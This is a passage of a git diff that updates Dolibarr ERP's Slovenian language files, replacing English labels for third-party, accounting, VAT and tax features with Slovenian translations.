third party will be deleted. -ThirdpartiesMergeSuccess=Third parties have been merged -SaleRepresentativeLogin=Login of sales representative -SaleRepresentativeFirstname=First name of sales representative -SaleRepresentativeLastname=Last name of sales representative -ErrorThirdpartiesMerge=There was an error when deleting the third parties. Please check the log. Changes have been reverted. -NewCustomerSupplierCodeProposed=Customer or Vendor code already used, a new code is suggested -KeepEmptyIfGenericAddress=Keep this field empty if this address is a generic address +ConfirmMergeThirdparties=Ali ste prepričani, da želite združiti izbranega partnerja s trenutno? Vsi povezani objekti (računi, naročila, ...) bodo prestavljeni na trenutnega partnerja, nato pa bo izbrana partner izbrisan. +ThirdpartiesMergeSuccess=Partnerji so bili združeni +SaleRepresentativeLogin=Prijava prodajnega predstavnika +SaleRepresentativeFirstname=Ime prodajnega predstavnika +SaleRepresentativeLastname=Priimek prodajnega predstavnika +ErrorThirdpartiesMerge=Pri brisanju partnerjev je prišlo do napake. Preverite dnevnik. Spremembe so bile razveljavljene. +NewCustomerSupplierCodeProposed=Koda kupca ali dobavitelja je že uporabljena, predlaga se nova koda +KeepEmptyIfGenericAddress=Če je ta naslov splošni naslov, naj bo to polje prazno #Imports -PaymentTypeCustomer=Payment Type - Customer -PaymentTermsCustomer=Payment Terms - Customer -PaymentTypeSupplier=Payment Type - Vendor -PaymentTermsSupplier=Payment Term - Vendor -PaymentTypeBoth=Payment Type - Customer and Vendor -MulticurrencyUsed=Use Multicurrency +PaymentTypeCustomer=Vrsta plačila - Kupec +PaymentTermsCustomer=Plačilni pogoji - Kupec +PaymentTypeSupplier=Vrsta plačila - dobavitelj +PaymentTermsSupplier=Plačilni rok - dobavitelj +PaymentTypeBoth=Vrsta plačila - Dobavitelj in Kupec +MulticurrencyUsed=Uporabite več valut MulticurrencyCurrency=Valuta -InEEC=Europe (EEC) -RestOfEurope=Rest of Europe (EEC) -OutOfEurope=Out of Europe (EEC) -CurrentOutstandingBillLate=Current outstanding bill late -BecarefullChangeThirdpartyBeforeAddProductToInvoice=Be carefull, depending on your product price settings, you should change thirdparty before adding product to POS. +InEEC=Evropa (EGS) +RestOfEurope=Preostala Evropa (EGS) +OutOfEurope=Izven Evrope (EGS) +CurrentOutstandingBillLate=Trenutni neplačani račun zamuja +BecarefullChangeThirdpartyBeforeAddProductToInvoice=Bodite previdni, odvisno od nastavitev cene izdelka morate zamenjati partnerja, preden izdelek dodate na POS. +EmailAlreadyExistsPleaseRewriteYourCompanyName=e-pošta že obstaja, prosimo, prepišite ime vašega podjetja +TwoRecordsOfCompanyName=more than one record exists for this company, please contact us to complete your partnership request +CompanySection=Company section +ShowSocialNetworks=Show social networks +HideSocialNetworks=Hide social networks diff --git a/htdocs/langs/sl_SI/compta.lang b/htdocs/langs/sl_SI/compta.lang index a00f3f59709..b05365e8868 100644 --- a/htdocs/langs/sl_SI/compta.lang +++ b/htdocs/langs/sl_SI/compta.lang @@ -1,7 +1,7 @@ # Dolibarr language file - Source file is en_US - compta -MenuFinancial=Billing | Payment +MenuFinancial=Obračunavanje | Plačilo TaxModuleSetupToModifyRules=Pojdite na nastavitev Davčnega modula za spremembo kalkulacijskih pravil -TaxModuleSetupToModifyRulesLT=Go to Company setup to modify rules for calculation +TaxModuleSetupToModifyRulesLT=Pojdite na Nastavitev podjetja , da spremenite pravila za izračun OptionMode=Opcija za računovodstvo OptionModeTrue=Opcija Input-Output OptionModeVirtual=Opcija Kredit-Debit @@ -9,207 +9,211 @@ OptionModeTrueDesc=V tem kontekstu je letni promet kalkuliran na osnovi plačil OptionModeVirtualDesc=V tem kontekstu je letni promet kalkuliran na osnovi računov (datumov potrditve). Ko računi zapadejo, ne glede ali so bili plačani ali ne, se upoštevajo v prikazu letnega prometa. FeatureIsSupportedInInOutModeOnly=Funkcija je na voljo samo pri računovodskem načinu KREDIT-DEBIT (Glejte konfiguracijo računovodskega modula) VATReportBuildWithOptionDefinedInModule=Tukaj prikazani zneski so preračunani po pravilih, ki so definirana v nastavitvah modula davkov. -LTReportBuildWithOptionDefinedInModule=Amounts shown here are calculated using rules defined by Company setup. +LTReportBuildWithOptionDefinedInModule=Zneski, prikazani tukaj, so izračunani z uporabo pravil, ki jih določi nastavitev podjetja. Param=Nastavitve -RemainingAmountPayment=Amount payment remaining: +RemainingAmountPayment=Preostali znesek plačila: Account=Konto -Accountparent=Parent account -Accountsparent=Parent accounts +Accountparent=Nadrejeni račun +Accountsparent=Računi staršev Income=Prejemek Outcome=Izdatek MenuReportInOut=Prejemek / Izdatek -ReportInOut=Balance of income and expenses -ReportTurnover=Turnover invoiced -ReportTurnoverCollected=Turnover collected +ReportInOut=Bilanca prihodkov in odhodkov +ReportTurnover=Promet fakturiran +ReportTurnoverCollected=Zbrani promet PaymentsNotLinkedToInvoice=Plačila niso vezana na noben račun, niti na partnerja PaymentsNotLinkedToUser=Plačila niso vezana na nobenega uporabnika Profit=Dobiček -AccountingResult=Accounting result -BalanceBefore=Balance (before) +AccountingResult=Računovodski rezultat +BalanceBefore=Stanje (prej) Balance=Bilanca Debit=Debit Credit=Kredit +AccountingDebit=Debetne +AccountingCredit=Credit Piece=Računovodska dokumentacija AmountHTVATRealReceived=Neto priliv AmountHTVATRealPaid=Neto odliv -VATToPay=Tax sales -VATReceived=Tax received -VATToCollect=Tax purchases -VATSummary=Tax monthly -VATBalance=Tax Balance -VATPaid=Tax paid -LT1Summary=Tax 2 summary -LT2Summary=Tax 3 summary -LT1SummaryES=RE Balance +VATToPay=Davčna prodaja +VATReceived=Prejeti davek +VATToCollect=Davčni nakupi +VATSummary=Davek mesečno +VATBalance=Davčna bilanca +VATPaid=Plačan davek +LT1Summary=Tax 2 povzetek +LT2Summary=Davek 3 povzetek +LT1SummaryES=RE ravnotežje LT2SummaryES=IRPF Balance -LT1SummaryIN=CGST Balance -LT2SummaryIN=SGST Balance -LT1Paid=Tax 2 paid -LT2Paid=Tax 3 paid -LT1PaidES=RE Paid +LT1SummaryIN=CGST bilanca +LT2SummaryIN=Stanje SGST +LT1Paid=Plačan davek 2 +LT2Paid=Plačan davek 3 +LT1PaidES=RE Plačano LT2PaidES=IRPF Plačan -LT1PaidIN=CGST Paid -LT2PaidIN=SGST Paid -LT1Customer=Tax 2 sales -LT1Supplier=Tax 2 purchases -LT1CustomerES=RE sales -LT1SupplierES=RE purchases -LT1CustomerIN=CGST sales -LT1SupplierIN=CGST purchases -LT2Customer=Tax 3 sales -LT2Supplier=Tax 3 purchases +LT1PaidIN=CGST plačan +LT2PaidIN=SGST plačan +LT1Customer=Davek 2 od prodaje +LT1Supplier=Davek 2 nakupa +LT1CustomerES=RE prodaja +LT1SupplierES=RE nakupi +LT1CustomerIN=CGST prodaja +LT1SupplierIN=nakupi CGST +LT2Customer=Davek 3 od prodaje +LT2Supplier=Obdavčite 3 nakupe LT2CustomerES=IRPF prodaja LT2SupplierES=IRPF nakupi -LT2CustomerIN=SGST sales -LT2SupplierIN=SGST purchases +LT2CustomerIN=Prodaja SGST +LT2SupplierIN=nakupi SGST VATCollected=Zbir DDV StatusToPay=Za plačilo SpecialExpensesArea=Področje za posebna plačila -VATExpensesArea=Area for all TVA payments -SocialContribution=Social or fiscal tax -SocialContributions=Social or fiscal taxes -SocialContributionsDeductibles=Deductible social or fiscal taxes -SocialContributionsNondeductibles=Nondeductible social or fiscal taxes -DateOfSocialContribution=Date of social or fiscal tax -LabelContrib=Label contribution -TypeContrib=Type contribution +VATExpensesArea=Prostor za vsa TVA plačila +SocialContribution=Socialni ali davčni davek +SocialContributions=Socialni ali davčni davki +SocialContributionsDeductibles=Odbitni socialni ali davčni davki +SocialContributionsNondeductibles=Neodbitni socialni ali davčni davki +DateOfSocialContribution=Datum socialnega ali davčnega davka +LabelContrib=Prispevek založbe +TypeContrib=Vrsta prispevka MenuSpecialExpenses=Posebni stroški MenuTaxAndDividends=Davki in dividende -MenuSocialContributions=Social/fiscal taxes -MenuNewSocialContribution=New social/fiscal tax -NewSocialContribution=New social/fiscal tax -AddSocialContribution=Add social/fiscal tax -ContributionsToPay=Social/fiscal taxes to pay -AccountancyTreasuryArea=Billing and payment area +MenuSocialContributions=Socialni/fiskalni davki +MenuNewSocialContribution=Nov socialni/fiskalni davek +NewSocialContribution=Nov socialni/fiskalni davek +AddSocialContribution=Dodajte socialni/davčni davek +ContributionsToPay=Socialni/davčni davki, ki jih je treba plačati +AccountancyTreasuryArea=Obračunsko in plačilno področje NewPayment=Novo plačilo PaymentCustomerInvoice=Plačilo računa kupca -PaymentSupplierInvoice=vendor invoice payment +PaymentSupplierInvoice=plačilo prejetega računa PaymentSocialContribution=Plačilo socialnega/fiskalnega davka PaymentVat=Plačilo DDV -AutomaticCreationPayment=Automatically record the payment +AutomaticCreationPayment=Samodejno zabeleži plačilo ListPayment=Seznam plačil ListOfCustomerPayments=Seznam plačil kupcev -ListOfSupplierPayments=List of vendor payments +ListOfSupplierPayments=Seznam plačil prodajalca DateStartPeriod=Začetni datum obdobja DateEndPeriod=Končni datum obdobja -newLT1Payment=New tax 2 payment -newLT2Payment=New tax 3 payment -LT1Payment=Tax 2 payment -LT1Payments=Tax 2 payments -LT2Payment=Tax 3 payment -LT2Payments=Tax 3 payments -newLT1PaymentES=New RE payment +newLT1Payment=Novo plačilo davka 2 +newLT2Payment=Novo plačilo davka 3 +LT1Payment=Plačilo davka 2 +LT1Payments=Plačila davka 2 +LT2Payment=Plačilo davka 3 +LT2Payments=Plačila davka 3 +newLT1PaymentES=Novo plačilo RE newLT2PaymentES=Nova IRPF plačilo -LT1PaymentES=RE Payment -LT1PaymentsES=RE Payments +LT1PaymentES=RE Plačilo +LT1PaymentsES=RE plačila LT2PaymentES=IRPF Plačilo LT2PaymentsES=Plačila IRPF -VATPayment=Sales tax payment -VATPayments=Sales tax payments -VATDeclarations=VAT declarations -VATDeclaration=VAT declaration -VATRefund=Sales tax refund -NewVATPayment=New sales tax payment -NewLocalTaxPayment=New tax %s payment +VATPayment=Plačilo prometnega davka +VATPayments=Plačilo prometnega davka +VATDeclarations=prijave DDV +VATDeclaration=napoved DDV +VATRefund=Vračilo prometnega davka +NewVATPayment=Novo plačilo prometnega davka +NewLocalTaxPayment=Novo plačilo davka %s Refund=Vračilo -SocialContributionsPayments=Social/fiscal taxes payments +SocialContributionsPayments=Plačila socialnih/davčnih davkov ShowVatPayment=Prikaži plačilo DDV TotalToPay=Skupaj za plačilo -BalanceVisibilityDependsOnSortAndFilters=Balance is visible in this list only if table is sorted on %s and filtered on 1 bank account (with no other filters) -CustomerAccountancyCode=Customer accounting code -SupplierAccountancyCode=Vendor accounting code -CustomerAccountancyCodeShort=Cust. account. code -SupplierAccountancyCodeShort=Sup. account. code +BalanceVisibilityDependsOnSortAndFilters=Stanje je vidno na tem seznamu samo, če je tabela razvrščena na %s in filtrirana na 1 bančnem računu (brez drugih filtrov) +CustomerAccountancyCode=Računovodska šifra stranke +SupplierAccountancyCode=Računovodska oznaka dobavitelja +CustomerAccountancyCodeShort=Cust. račun. Koda +SupplierAccountancyCodeShort=Sup. račun. Koda AccountNumber=Številka konta NewAccountingAccount=Nov konto -Turnover=Turnover invoiced -TurnoverCollected=Turnover collected -SalesTurnoverMinimum=Minimum turnover -ByExpenseIncome=By expenses & incomes +Turnover=Promet fakturiran +TurnoverCollected=Zbrani promet +SalesTurnoverMinimum=Minimalni promet +ByExpenseIncome=Po odhodkih in prihodkih ByThirdParties=Po partnerjih ByUserAuthorOfInvoice=Po avtorjih računov CheckReceipt=Kontrola priliva CheckReceiptShort=Kontrola prilivov -LastCheckReceiptShort=Latest %s check receipts +LastCheckReceiptShort=Najnovejša potrdila o preverjanju %s NewCheckReceipt=Nov popust NewCheckDeposit=Nova kontrola depozita NewCheckDepositOn=Nova kontrola depozita na račun: %s -NoWaitingChecks=No checks awaiting deposit. -DateChequeReceived=Check receiving date -NbOfCheques=No. of checks -PaySocialContribution=Pay a social/fiscal tax -PayVAT=Pay a VAT declaration -PaySalary=Pay a salary card -ConfirmPaySocialContribution=Are you sure you want to classify this social or fiscal tax as paid ? -ConfirmPayVAT=Are you sure you want to classify this VAT declaration as paid ? -ConfirmPaySalary=Are you sure you want to classify this salary card as paid? -DeleteSocialContribution=Delete a social or fiscal tax payment -DeleteVAT=Delete a VAT declaration -DeleteSalary=Delete a salary card -ConfirmDeleteSocialContribution=Are you sure you want to delete this social/fiscal tax payment ? -ConfirmDeleteVAT=Are you sure you want to delete this VAT declaration ? -ConfirmDeleteSalary=Are you sure you want to delete this salary? -ExportDataset_tax_1=Social and fiscal taxes and payments -CalcModeVATDebt=Mode %sVAT on commitment accounting%s. -CalcModeVATEngagement=Mode %sVAT on incomes-expenses%s. -CalcModeDebt=Analysis of known recorded documents even if they are not yet accounted in ledger. -CalcModeEngagement=Analysis of known recorded payments, even if they are not yet accounted in Ledger. -CalcModeBookkeeping=Analysis of data journalized in Bookkeeping Ledger table. -CalcModeLT1= Mode %sRE on customer invoices - suppliers invoices%s -CalcModeLT1Debt=Mode %sRE on customer invoices%s -CalcModeLT1Rec= Mode %sRE on suppliers invoices%s -CalcModeLT2= Mode %sIRPF on customer invoices - suppliers invoices%s -CalcModeLT2Debt=Mode %sIRPF on customer invoices%s -CalcModeLT2Rec= Mode %sIRPF on suppliers invoices%s +NoWaitingChecks=Ni čekov, ki čakajo na polog. +DateChequeReceived=Preverite datum prejema +NbOfCheques=Št. pregledov +PaySocialContribution=Plačajte socialni/fiskalni davek +PayVAT=Plačajte napoved DDV +PaySalary=Izplačajte plačno kartico +ConfirmPaySocialContribution=Ali ste prepričani, da želite ta socialni ali davčni davek označiti kot plačanega? +ConfirmPayVAT=Ali ste prepričani, da želite to napoved DDV označiti kot plačano? +ConfirmPaySalary=Ali ste prepričani, da želite to plačno kartico označiti kot plačano? +DeleteSocialContribution=Izbrišite plačilo socialnega ali davčnega davka +DeleteVAT=Brisanje napovedi DDV +DeleteSalary=Brisanje plačne kartice +DeleteVariousPayment=Izbrišite različno plačilo +ConfirmDeleteSocialContribution=Ali ste prepričani, da želite izbrisati to plačilo socialnega/fiskalnega davka? +ConfirmDeleteVAT=Ali ste prepričani, da želite izbrisati to napoved DDV? +ConfirmDeleteSalary=Ali ste prepričani, da želite izbrisati to plačo? +ConfirmDeleteVariousPayment=Ali ste prepričani, da želite izbrisati ta različna plačila? +ExportDataset_tax_1=Socialni in davčni davki in plačila +CalcModeVATDebt=Način %sDDV pri obračunavanju obveznosti%s . +CalcModeVATEngagement=Način %sDDV na dohodke-odhodkes%s . +CalcModeDebt=Analiza znanih evidentiranih dokumentov, tudi če še niso evidentirani v knjigi. +CalcModeEngagement=Analiza znanih evidentiranih plačil, tudi če še niso vknjižena v Ledger. +CalcModeBookkeeping=Analiza podatkov, evidentiranih v tabeli knjigovodske knjige. +CalcModeLT1= Način %sRE na računih strank - računih dobaviteljevs%s +CalcModeLT1Debt=Način %sRE na računih stranks%s +CalcModeLT1Rec= Način %sRE na računih dobaviteljevs%s +CalcModeLT2= Način %sIRPF na računih strank - računih dobaviteljevs%s +CalcModeLT2Debt=Način %sIRPF na računih stranks%s +CalcModeLT2Rec= Način %sIRPF na računih dobaviteljevs%s AnnualSummaryDueDebtMode=Bilanca prihodkov in stroškov, letni povzetek AnnualSummaryInputOutputMode=Bilanca prihodkov in stroškov, letni povzetek -AnnualByCompanies=Balance of income and expenses, by predefined groups of account -AnnualByCompaniesDueDebtMode=Balance of income and expenses, detail by predefined groups, mode %sClaims-Debts%s said Commitment accounting. -AnnualByCompaniesInputOutputMode=Balance of income and expenses, detail by predefined groups, mode %sIncomes-Expenses%s said cash accounting. -SeeReportInInputOutputMode=See %sanalysis of payments%s for a calculation based on recorded payments made even if they are not yet accounted in Ledger -SeeReportInDueDebtMode=See %sanalysis of recorded documents%s for a calculation based on known recorded documents even if they are not yet accounted in Ledger -SeeReportInBookkeepingMode=See %sanalysis of bookeeping ledger table%s for a report based on Bookkeeping Ledger table +AnnualByCompanies=Bilanca prihodkov in odhodkov, po vnaprej določenih skupinah kontov +AnnualByCompaniesDueDebtMode=Bilanca prihodkov in odhodkov, podrobnost po vnaprej določenih skupinah, način %sClaims-Debts%s said Obračun obveznosti . +AnnualByCompaniesInputOutputMode=Bilanca prihodkov in odhodkov, podrobnost po vnaprej določenih skupinah, način %sPrihodki-Odhodki%s rekel blagajniški obračun . +SeeReportInInputOutputMode=Glejte %sanalizo plačils%s za izračun na podlagi zabeleženih plačil izvedenih, tudi če še niso evidentirana v knjigi +SeeReportInDueDebtMode=Glejte %sanalizo evidentiranih dokumentov%s za izračun na podlagi znanih evidentiranih dokumentov , tudi če še niso evidentirani v knjigi Ledger +SeeReportInBookkeepingMode=Oglejte si %sanalizo tabele knjigovodske knjige %s za poročilo, ki temelji na tabeli knjigovodske knjige RulesAmountWithTaxIncluded=- Prikazane vrednosti vključujejo vse davke -RulesAmountWithTaxExcluded=- Amounts of invoices shown are with all taxes excluded -RulesResultDue=- It includes all invoices, expenses, VAT, donations, salaries, whether they are paid or not.
      - It is based on the billing date of invoices and on the due date for expenses or tax payments. For salaries, the date of end of period is used. -RulesResultInOut=- It includes the real payments made on invoices, expenses, VAT and salaries.
      - It is based on the payment dates of the invoices, expenses, VAT, donations and salaries. -RulesCADue=- It includes the customer's due invoices whether they are paid or not.
      - It is based on the billing date of these invoices.
      -RulesCAIn=- It includes all the effective payments of invoices received from customers.
      - It is based on the payment date of these invoices
      -RulesCATotalSaleJournal=It includes all credit lines from the Sale journal. -RulesSalesTurnoverOfIncomeAccounts=It includes (credit - debit) of lines for product accounts in group INCOME -RulesAmountOnInOutBookkeepingRecord=It includes record in your Ledger with accounting accounts that has the group "EXPENSE" or "INCOME" -RulesResultBookkeepingPredefined=It includes record in your Ledger with accounting accounts that has the group "EXPENSE" or "INCOME" -RulesResultBookkeepingPersonalized=It show record in your Ledger with accounting accounts grouped by personalized groups -SeePageForSetup=See menu %s for setup -DepositsAreNotIncluded=- Down payment invoices are not included -DepositsAreIncluded=- Down payment invoices are included -LT1ReportByMonth=Tax 2 report by month -LT2ReportByMonth=Tax 3 report by month -LT1ReportByCustomers=Report tax 2 by third party -LT2ReportByCustomers=Report tax 3 by third party -LT1ReportByCustomersES=Report by third party RE +RulesAmountWithTaxExcluded=- Prikazani zneski računov so brez vseh davkov +RulesResultDue=- Vključuje vse račune, stroške, DDV, donacije, plače, ne glede na to ali so izplačane ali ne.
      - Temelji na datumu zaračunavanja računov in na datumu zapadlosti stroškov ali plačila davka. Za plače se uporablja datum konca obdobja. +RulesResultInOut=- Vključuje realna plačila na računih, stroške, DDV in plače.
      - Temelji na plačilnih datumih računov, stroških, DDV-ju, donacijah in plačah. +RulesCADue=- Vključuje zapadle račune stranke, ne glede na to, ali so plačani ali ne.
      - Temelji na datumu zaračunavanja teh računov.
      +RulesCAIn=- Vključuje vsa efektivna plačila računov, prejetih od strank.
      - Temelji na datumu plačila teh računov
      +RulesCATotalSaleJournal=Vključuje vse kreditne linije iz dnevnika prodaje. +RulesSalesTurnoverOfIncomeAccounts=Vključuje (kreditno-debetne) postavke produktnih kontov v skupini PRIHODKI +RulesAmountOnInOutBookkeepingRecord=Vključuje zapis v vaši knjigi z računovodskimi konti, ki ima skupino "ODHODKI" ali "DOHODKI". +RulesResultBookkeepingPredefined=Vključuje zapis v vaši knjigi z računovodskimi konti, ki ima skupino "ODHODKI" ali "DOHODKI". +RulesResultBookkeepingPersonalized=Prikazuje zapis v vaši knjigi z računovodskimi računi , razvrščenimi po prilagojenih skupinah +SeePageForSetup=Za nastavitev glejte meni %s +DepositsAreNotIncluded=- Računi za predplačilo niso vključeni +DepositsAreIncluded=- Računi za predplačilo so vključeni +LT1ReportByMonth=Davčno poročilo 2 po mesecih +LT2ReportByMonth=Davčno poročilo 3 po mesecih +LT1ReportByCustomers=Prijavite davek 2 s strani tretje osebe +LT2ReportByCustomers=Prijavite davek 3 s strani tretje osebe +LT1ReportByCustomersES=Poročilo tretje osebe RE LT2ReportByCustomersES=Poročilo tretjih oseb IRPF -VATReport=Sales tax report -VATReportByPeriods=Sales tax report by period -VATReportByMonth=Sales tax report by month -VATReportByRates=Sales tax report by rate -VATReportByThirdParties=Sales tax report by third party -VATReportByCustomers=Sales tax report by customer +VATReport=Poročilo o prometnem davku +VATReportByPeriods=Poročilo o prometnem davku po obdobjih +VATReportByMonth=Poročilo o prometnem davku po mesecih +VATReportByRates=Poročilo o prometnem davku po stopnji +VATReportByThirdParties=Poročilo o prometnem davku tretje osebe +VATReportByCustomers=Poročilo o prometnem davku po stranki VATReportByCustomersInInputOutputMode=Poročilo o pobranem in plačanem DDV po kupcih -VATReportByQuartersInInputOutputMode=Report by Sales tax rate of the tax collected and paid -VATReportShowByRateDetails=Show details of this rate -LT1ReportByQuarters=Report tax 2 by rate -LT2ReportByQuarters=Report tax 3 by rate -LT1ReportByQuartersES=Report by RE rate -LT2ReportByQuartersES=Report by IRPF rate -SeeVATReportInInputOutputMode=See report %sVAT collection%s for a standard calculation -SeeVATReportInDueDebtMode=See report %sVAT on debit%s for a calculation with an option on the invoicing -RulesVATInServices=- For services, the report includes the VAT of payments actually received or paid on the basis of the date of payment. -RulesVATInProducts=- For material assets, the report includes the VAT on the basis of the date of payment. -RulesVATDueServices=- For services, the report includes VAT of due invoices, paid or not, based on the invoice date. -RulesVATDueProducts=- For material assets, the report includes the VAT of due invoices, based on the invoice date. +VATReportByQuartersInInputOutputMode=Poročilo po stopnji prometnega davka o pobranem in plačanem davku +VATReportShowByRateDetails=Prikaži podrobnosti te stopnje +LT1ReportByQuarters=Prijavite davek 2 po stopnji +LT2ReportByQuarters=Prijavite davek 3 po stopnji +LT1ReportByQuartersES=Poročilo po tečaju RE +LT2ReportByQuartersES=Poročilo po stopnji IRPF +SeeVATReportInInputOutputMode=Glej poročilo %sPobiranje DDV%s za standardni izračun +SeeVATReportInDueDebtMode=Glej poročilo %sDDV na debit%s za izračun z možnostjo na fakturiranju +RulesVATInServices=- Za storitve poročilo vključuje DDV dejansko prejetih oziroma plačanih plačil na podlagi datuma plačila. +RulesVATInProducts=- Za materialna sredstva je v poročilu vključen DDV na podlagi datuma plačila. +RulesVATDueServices=- Za storitve poročilo vključuje DDV zapadlih računov, plačanih ali ne, na podlagi datuma računa. +RulesVATDueProducts=- Za materialna sredstva je v poročilu vključen DDV zapadlih računov, glede na datum računa. OptionVatInfoModuleComptabilite=Opomba: Za material naj se zaradi korektnosti uporablja datum dobave. -ThisIsAnEstimatedValue=This is a preview, based on business events and not from the final ledger table, so final results may differ from this preview values +ThisIsAnEstimatedValue=To je predogled, ki temelji na poslovnih dogodkih in ne na tabeli končne knjige, zato se lahko končni rezultati razlikujejo od teh vrednosti predogleda PercentOfInvoice=%%/račun NotUsedForGoods=Se ne uporablja za material ProposalStats=Statistika po ponudbah @@ -224,77 +228,78 @@ PurchasesJournal=Poročilo o nabavi DescSellsJournal=Poročilo o prodaji DescPurchasesJournal=Poročilo o nabavi CodeNotDef=Ni definirano -WarningDepositsNotIncluded=Down payment invoices are not included in this version with this accountancy module. +WarningDepositsNotIncluded=Računi za predplačilo niso vključeni v to različico s tem računovodskim modulom. DatePaymentTermCantBeLowerThanObjectDate=Datum plačila ne more biti nižji od datuma storitve. -Pcg_version=Chart of accounts models +Pcg_version=Modeli kontnega načrta Pcg_type=Pcg način Pcg_subtype=Pcg podtip InvoiceLinesToDispatch=Vrstice računa za odpremo -ByProductsAndServices=By product and service +ByProductsAndServices=Po izdelkih in storitvah RefExt=Externa ref -ToCreateAPredefinedInvoice=To create a template invoice, create a standard invoice, then, without validating it, click on button "%s". +ToCreateAPredefinedInvoice=Za izdelavo predloge računa ustvarite standardni račun, nato pa brez potrditve kliknite gumb "%s". LinkedOrder=Povezava do naročila Mode1=Metoda 1 Mode2=Metoda 2 -CalculationRuleDesc=To calculate total VAT, there is two methods:
      Method 1 is rounding vat on each line, then summing them.
      Method 2 is summing all vat on each line, then rounding result.
      Final result may differs from few cents. Default mode is mode %s. -CalculationRuleDescSupplier=According to vendor, choose appropriate method to apply same calculation rule and get same result expected by your vendor. -TurnoverPerProductInCommitmentAccountingNotRelevant=The report of Turnover collected per product is not available. This report is only available for turnover invoiced. -TurnoverPerSaleTaxRateInCommitmentAccountingNotRelevant=The report of Turnover collected per sale tax rate is not available. This report is only available for turnover invoiced. +CalculationRuleDesc=Za izračun skupnega DDV obstajata dve metodi:
      1. metoda je zaokroževanje DDV v vsaki vrstici in nato seštevanje.
      Metoda 2 sešteje vso PDV v vsaki vrstici, nato pa rezultat zaokroži.
      Končni rezultat se lahko razlikuje od nekaj centov. Privzeti način je način %s . +CalculationRuleDescSupplier=Glede na prodajalca izberite ustrezno metodo za uporabo istega pravila izračuna in pridobite enak rezultat, ki ga pričakuje vaš prodajalec. +TurnoverPerProductInCommitmentAccountingNotRelevant=Poročilo o zbranem prometu na izdelek ni na voljo. To poročilo je na voljo samo za fakturirani promet. +TurnoverPerSaleTaxRateInCommitmentAccountingNotRelevant=Poročilo o zbranem prometu po stopnji prometnega davka ni na voljo. To poročilo je na voljo samo za fakturirani promet. CalculationMode=Način kalkulacije -AccountancyJournal=Accounting code journal -ACCOUNTING_VAT_SOLD_ACCOUNT=Accounting account by default for VAT on sales (used if not defined on VAT dictionary setup) -ACCOUNTING_VAT_BUY_ACCOUNT=Accounting account by default for VAT on purchases (used if not defined on VAT dictionary setup) -ACCOUNTING_VAT_PAY_ACCOUNT=Accounting account by default for paying VAT -ACCOUNTING_ACCOUNT_CUSTOMER=Accounting account used for customer third parties -ACCOUNTING_ACCOUNT_CUSTOMER_Desc=The dedicated accounting account defined on third party card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated customer accounting account on third party is not defined. -ACCOUNTING_ACCOUNT_SUPPLIER=Accounting account used for vendor third parties -ACCOUNTING_ACCOUNT_SUPPLIER_Desc=The dedicated accounting account defined on third party card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated vendor accounting account on third party is not defined. -ConfirmCloneTax=Confirm the clone of a social/fiscal tax -ConfirmCloneVAT=Confirm the clone of a VAT declaration -ConfirmCloneSalary=Confirm the clone of a salary -CloneTaxForNextMonth=Clone it for next month -SimpleReport=Simple report -AddExtraReport=Extra reports (add foreign and national customer report) -OtherCountriesCustomersReport=Foreign customers report -BasedOnTwoFirstLettersOfVATNumberBeingDifferentFromYourCompanyCountry=Based on the two first letters of the VAT number being different from your own company's country code -SameCountryCustomersWithVAT=National customers report -BasedOnTwoFirstLettersOfVATNumberBeingTheSameAsYourCompanyCountry=Based on the two first letters of the VAT number being the same as your own company's country code -LinkedFichinter=Link to an intervention -ImportDataset_tax_contrib=Social/fiscal taxes -ImportDataset_tax_vat=Vat payments -ErrorBankAccountNotFound=Error: Bank account not found -FiscalPeriod=Accounting period -ListSocialContributionAssociatedProject=List of social contributions associated with the project -DeleteFromCat=Remove from accounting group -AccountingAffectation=Accounting assignment -LastDayTaxIsRelatedTo=Last day of period the tax is related to -VATDue=Sale tax claimed -ClaimedForThisPeriod=Claimed for the period -PaidDuringThisPeriod=Paid for this period -PaidDuringThisPeriodDesc=This is the sum of all payments linked to VAT declarations which have an end-of-period date in the selected date range -ByVatRate=By sale tax rate -TurnoverbyVatrate=Turnover invoiced by sale tax rate -TurnoverCollectedbyVatrate=Turnover collected by sale tax rate -PurchasebyVatrate=Purchase by sale tax rate +AccountancyJournal=Časopis računovodskih kodeksov +ACCOUNTING_VAT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on sales (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on purchases (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_PAY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for paying VAT +ACCOUNTING_ACCOUNT_CUSTOMER=Account (from the Chart Of Account) used for "customer" third parties +ACCOUNTING_ACCOUNT_CUSTOMER_Desc=Namenski računovodski račun, opredeljen na saldakontni kartici, bo uporabljen samo za računovodstvo podknjige. Ta bo uporabljen za glavno knjigo in kot privzeta vrednost računovodstva podknjige, če namenski račun v saldakontih ni definiran. +ACCOUNTING_ACCOUNT_SUPPLIER=Account (from the Chart of Account) used for the "vendor" third parties +ACCOUNTING_ACCOUNT_SUPPLIER_Desc=Namenski računovodski račun, opredeljen na kartici tretje osebe, bo uporabljen samo za računovodstvo podknjige. Ta bo uporabljen za glavno knjigo in kot privzeta vrednost računovodstva podknjige, če namenski računovodski račun dobavitelja pri tretji osebi ni definiran. +ConfirmCloneTax=Potrdite klon socialnega/fiskalnega davka +ConfirmCloneVAT=Potrdite klon izjave o DDV +ConfirmCloneSalary=Potrdite klon plače +CloneTaxForNextMonth=Kloniraj za naslednji mesec +SimpleReport=Preprosto poročilo +AddExtraReport=Dodatna poročila (dodajte poročilo o tujih in domačih strankah) +OtherCountriesCustomersReport=Tuji kupci poročajo +BasedOnTwoFirstLettersOfVATNumberBeingDifferentFromYourCompanyCountry=Na podlagi prvih dveh črk številke DDV, ki se razlikujeta od kode države vašega podjetja +SameCountryCustomersWithVAT=Nacionalno poročilo strank +BasedOnTwoFirstLettersOfVATNumberBeingTheSameAsYourCompanyCountry=Na podlagi prvih dveh črk številke DDV, ki sta enaki kodi države vašega podjetja +LinkedFichinter=Povezava do intervencije +ImportDataset_tax_contrib=Socialni/fiskalni davki +ImportDataset_tax_vat=Plačila DDV +ErrorBankAccountNotFound=Napaka: bančnega računa ni mogoče najti +FiscalPeriod=Obračunsko obdobje +ListSocialContributionAssociatedProject=Seznam socialnih prispevkov, povezanih s projektom +DeleteFromCat=Odstrani iz računovodske skupine +AccountingAffectation=Računovodska 